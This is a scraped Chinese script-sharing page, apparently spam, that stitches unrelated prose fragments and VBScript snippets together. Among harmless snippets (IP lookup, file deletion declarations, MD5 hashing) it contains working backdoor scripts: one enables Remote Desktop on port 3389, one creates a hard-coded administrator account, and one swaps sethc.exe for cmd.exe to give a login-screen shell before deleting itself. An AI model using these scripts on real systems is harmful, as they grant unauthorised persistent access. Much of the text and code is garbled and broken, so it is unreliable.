按键精灵导入脚本在哪漫画经典例文

发布时间:2020-06-27 来源:脚本之家 点击:

将其属性Autosize置为true
使用vbscript来读写文件,十分的方便,废话少说,切入正题

宣传视频脚本编辑
end function
但是请注意,2种方法原本就是很有效率的,只有在时间要求非常严格的上百成千次的循环中,才会体现出这种差别

不懂注册表、VBS、批处理不要紧,只要会学、会吸收别人的精华,会查找资料,|论坛|百度|GOOGLE|,然后能用好,就非常不错了

贴一些搜集的文字放到这吧

外观还可以将用其他方式难以找到的相关功能简单地汇集在一起


set oDOM=WScript.GetObject("")
flag=0
for i=1 to 10
if oDOM.readyState="complete" then
flag=1
exit for
end if
WScript.sleep 500
next
if flag=0 then
WScript.Echo "timeout ..."
wscript.quit
end if
s=oDOM.documentElement.innerText
Set Re=New RegExp
Re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
for each r in Re.Execute(s)
res=r
exit for
Next
WScript.Echo "IPAddress: " & res
声明:
PublicTypeSHFILEOPSTRUCT
hwndAsLong
wFuncAsLong
pFromAsString
pToAsString
fFlagsAsInteger
fAnyOperationsAbortedAsLong
hNameMappingsAsLong
lpszProgressTitleAsLong
EndType

PublicDeclareFunctionSHFileOperationLib"shell32.dll"Alias"SHFileOperationA"(lpFileOpAsSHFILEOPSTRUCT)AsLong

PublicConstFO_DELETE=&H3
PublicConstFOF_ALLOWUNDO=&H40
代码:
DimSHopAsSHFILEOPSTRUCT
DimstrFileasstring

WithSHop
.wFunc=FO_DELETE
.pFrom=strFile Chr(0)
.fFlags=FOF_ALLOWUNDO
EndWith

SHFileOperationSHop->

on error resume next
const HKEY_LOCAL_MACHINE=&H80000002
strComputer="."
Set StdOut=WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName="fDenyTSConnections"
dwValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj=CreateObject("WScript.Shell")
success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)win10无法运行vbs我们只用了几条简单的语句就建立了一个自己的数据库应用程序,虽然这里只使用了COM一点功能,但却使得应用程序变得如此容易
Public MD5Value
MD5Sum(WScript.Arguments(0))
SetClipboardText("MD5: " & MD5Value & ", FilePath: " & WScript.Arguments(0))
Function MD5Sum(filename)
Dim MyStream, MyHashed, MD5Value
Set MyStream=CreateObject("ADODB.Stream")
MyStream.Type=1
MyStream.Open()
MyStream.LoadFromFile(filename)
Set MyHashed=CreateObject("CAPICOM.HashedData")
MyHashed.Algorithm=3
MyHashed.Hash(MyStream.Read())
MyStream.Close
MD5Value=MyHashed.Value
End Function

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号